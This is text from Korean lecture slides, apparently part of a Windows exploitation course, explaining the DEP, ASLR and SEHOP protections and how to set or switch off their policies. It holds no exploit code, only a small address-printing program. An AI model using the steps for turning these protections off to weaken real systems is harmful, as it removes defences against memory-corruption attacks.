4-3. DEP(Data Execution Prevention) u DEP 개요 공격자에의해 Stack, Heap, Data Section 에서의코드실행을금지 보통버퍼오버플로우를이용한기존의 Exploit 은악의적인코드 ( 쉘코드 ) 가 Stack 에존재하고 exploit 시 Stack 에있는쉘코드가실행되는형태였지만, DEP 적용시 Stack 은실행권한이없는영역이므로공격 ( 코드실행 ) 을수행할수없게됨 u DEP 모드 하드웨어 (H/W) DEP - CPU 의 NX(AMD) 나 XD(Intel) bit 를이용 - 현재 DEP 는대부분하드웨어 DEP 를의미한다볼수있음 - 데이터영역에 Non-eXecutable 을표시해두고해당영역에코드실행시도가있을경우 Access Violation 발생 소프트웨어 (S/W) DEP - 하드웨어의지원이없더라도소프트웨어적으로구현할수있도록 Windows 에서지원하는형태 - SafeSEH 와같은기법을의미
4-3. DEP(Data Execution Prevention) u DEP 4 가지정책수준 OptIn 정책수준 OptOut AlwaysOn AlwaysOff 제한된모듈이나바이너리만이 DEP 에의해보호 Windows XP 의기본설정 예외리스트내의프로세스들을제외한모든프로세스들은 DEP 에의해보호 예외없이모든프로세스들은 DEP 에의해보호 DEP 기능을중지 u Permanent DEP Windows XP SP3 부터추가 SetProcessDEPPolicy(PROCESS_DEP_ENABLE) API 를이용하여프로세스의 DEP 를활성화시킬수있음 /NXCOMPAT 옵션을사용하여링크한모든실행모듈들은자동적으로 Permanent 플래그가설정 https://msdn.microsoft.com/en-us/library/bb736299(v=vs.85).aspx
4-3. DEP(Data Execution Prevention) u DEP 정책변경 ( 내컴퓨터속성 -> 고급시스템설정 -> 성능설정 -> DEP)
4-3. DEP(Data Execution Prevention) u DEP 정책상세변경 Windows XP Or Windows Server 2003 에서 DEP 정책변경 - boot.ini 에서 OS 부팅설정라인끝에다음인자를통해변경 - /noexecute=[ 정책수준 ] Windows Vista, Windows 7, Windows Server 2008 에서 DEP 정책변경 - bcdedit /set nx [ 정책수준 ]
4-3. DEP(Data Execution Prevention) Visual Studio 의링커속성에서 DEP 옵션설정
4-4. ASLR(Address Space Layout Randomization) u ASLR 프로세스내의다양한오브젝트에대하여실행시주소를랜덤화 실행파일 Image, Library, Stack, Heap, TEB, PEB,... Windows Vista sp0 부터적용 공격자는오브젝트에대한정확한주소를예측할수없으므로공격에실패하게됨
4-4. ASLR(Address Space Layout Randomization) Visual Studio 의링커속성에서 ASLR 옵션설정
4-4. ASLR(Address Space Layout Randomization) #include <stdio.h> int main() { char buffer[1024]; printf( Buffer Address : %p\n, buffer); return 0; } Stack 에할당되는지역변수의주소를확인하는코드
4-4. ASLR(Address Space Layout Randomization) ASLR 옵션미적용 ASLR 옵션적용
4-5. SEHOP(Structured Error Handling Overwrite Protection) u SEH Chain Validation Check Exception Handler 들을호출하기전에, Exception Record Chain 을점검하는기능 Windows Vista SP1, Windows 7, Windows Server2008, Windows Server 2008 R2 에서 SEHOP 에대한지원이포함 기본적으로 SEHOP 는 Windows Server 2008 R2 및 Windows Server 2008 에서 Default 로사용되고 Windows 7 및 Windows Vista 에서는 Default 로사용되지않음 MSDN : http://support.microsoft.com/kb/956607/ko
4-5. SEHOP(Structured Error Handling Overwrite Protection) 레지스트리를이용하여 SEHOP 를사용하도록설정 ( 직접설정 ) DisableExceptionChainValidation 값이 1( 해제 ) 또는 0( 설정 )
Reference
Reference u 참고자료 Corelan Windows Exploit Writing Tutorial(http://corelan.be) Exploit DB(http://exploit-db.com) OpenRCE(http://openrce.org)